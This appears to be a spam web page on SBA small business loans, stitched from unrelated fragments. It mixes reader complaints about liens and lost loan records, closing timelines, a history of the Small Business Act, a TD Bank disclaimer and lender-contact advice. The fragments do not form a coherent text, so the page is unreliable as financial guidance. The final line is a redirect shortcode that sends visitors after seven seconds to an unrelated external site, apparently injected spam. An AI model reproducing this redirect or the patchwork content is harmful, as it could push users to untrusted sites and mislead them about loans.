13. My problem is that all the records concerning the SBA loan were in file cabinets that I could not get access to after closing the business and the SBA loan was not on the books at that time 4 years had passed and I thought it was all over with.
If approved, it might take between 30 and 60 days to close the loan and receive funds. The length of this time requirement will be determined by the use of funds and what collateral is required. If you’re using the loan to buy real estate or a business entity, your loan closing will coincide with the purchase closing.
Whether it is equipment updates, interior or exterior projects or other needs, there may come a time that you’ll need to pay for business restorations. Some of these renovation costs may be pivotal to your business, causing you to be unable to serve your customers without them. Don’t risk this – use your loan for renovations!
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The SBA was created on July 30, 1953, by President Eisenhower with the signing of the Small Business Act, currently codified at 15 U.S.C. ch. 14A. The Small Business Act was originally enacted as the “Small Business Act of 1953” in Title II (67 Stat. 232) of Pub.L. 83–163 (ch. 282, 67 Stat. 230, July 30, 1953); The “Reconstruction Finance Corporation Liquidation Act” was Title I, which abolished the Reconstruction Finance Corporation (RFC). The Small Business Act Amendments of 1958 (Pub.L. 85–536, 72 Stat. 384, enacted July 18, 1958) withdrew Title II as part of that act and made it a separate act to be known as the “Small Business Act”. Its function was and is to “aid, counsel, assist and protect, insofar as is possible, the interests of small business concerns”.
Government small business loans benefit both small businesses and the lending agency. For small businesses, it is beneficial because this is money & capital they may not have access too. For banks, the loan’s risk is decreased due to the loan being backed by the SBA.
SBA loans are – you guessed it – backed by the SBA (Small Business Administration), which reduces the risk for lenders and encourages them to help more small businesses like yours. You can use an SBA loan to buy equipment or real estate, acquire a business, refinance, and much more. Because sometimes it takes a little capital to build your American dream…
Securities and other investment and insurance products are: not a deposit; not FDIC insured; not insured by any federal government agency; not guaranteed by TD Bank, N.A. or any of its affiliates; and, may be subject to investment risk, including possible loss of value.
• Contact lenders. You need to find a bank or lender that works with the SBA. Most leading commercial banks will offer 7(a) loans, but so do credit unions and other lenders. You can find a list local SBA lenders by state on the SBA website. “You can contact more than one,” Cruz says. “But this should not be the first time you meet the banker. There are three people that every business person should have a relationship with — an accountant that knows your industry, a lawyer that knows your industry, and a banker that knows your industry.” If you have a relationship with a banker, that’s who you start with, Cruz says. If you don’t know the bankers in your community, try to get around it by having someone you know refer you. Call possible lenders, providing a brief profile of you and your business to see if the lender has an interest in exploring the possibility of a loan. If so, make an appointment to meet the lender(s).
We had a small business loan and the bank liened all our property, including personal home and rental house. We had to file Chapter 7 personally because of securing our business debt. We have been discharged for several years but the liens remain. The bank was repaid their 25% of the business loan by sale of our business property. The SBA guaranteed the 75%. Is there any possibility of getting the liens removed?
Even though these particular loans are being taken out at amazing rates, a lot of small business owners still have a number of questions when it comes to borrowing money to cover their small business needs. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]